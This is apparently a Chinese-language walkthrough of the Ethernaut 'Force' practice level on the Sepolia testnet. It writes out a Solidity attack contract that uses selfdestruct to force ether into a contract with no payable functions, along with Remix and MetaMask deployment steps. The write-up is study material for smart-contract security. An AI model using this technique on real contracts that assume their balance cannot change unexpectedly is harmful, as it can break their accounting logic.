由于以太坊的机制改变 ropsten测试网络没用改成sepolia测试网络了。
题目要求:
The goal of this level is to make the balance of the contract greater than zero.
给空合约输入币让合约余额大于0
题目合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
是的,一点函数都没有!!用transter函数不起作用。
但,其实是有个系统函数的,selfdestruct可以把币弄进里面,无论这个函数里面有限制没有。
老规矩,先get new instance,再发布合约:
pragma solidity ^0.8.7;
contract Attack {
uint b;
event log(uint);
constructor()public{
b=0;
}
// 写receive函数是为了让这个合约接收一点ether,我在测试时如果只有下面的exploit函数转账一直失败
// 当然也可以在创建合约时直接存入
// funCfans注:根本存入不了,value那里根本不能写超过0的数据
receive()payable external{
b+=msg.value;
emit log(b);
}
function exploit(address payable _target) public payable {
selfdestruct(_target);
}
}
(以下摘自以太坊Metamask安装以及remixIDE下Solidity简单智能合约编写部署)
合约编辑好,并且在SOLIDITY COMPILER编辑无误后
首先,切换到DEPLOY & RUN TRANSACTIONS选项卡,并在Environment下拉列表框中选择Injected Web3 - MetaMask。这将Remix IDE连接到MetaMask钱包,并通过MetaMask连接到sepolia测试网络。
此时可以在Evironment下看到“sepolia”。在Account选择框中,显示钱包地址。在刚刚确认的“Run”设置下方,是Attack合约,点击deploy进行创建。
从MetaMask中可以看到,合约创建交易没有ether,但它有602个字节(编译的合约),并且会消耗相应的Gwei。点击confirm来批准:

如何创建合约
给这个合约送点ETH,然后查看控制台的instance address或者执行contract.address看下要执行的合约地址在哪里:0x85c789936caca0a0c4f3Bb55cd9A87169AEDEc75
exploit执行,再submit distance看看
好嘞,成功!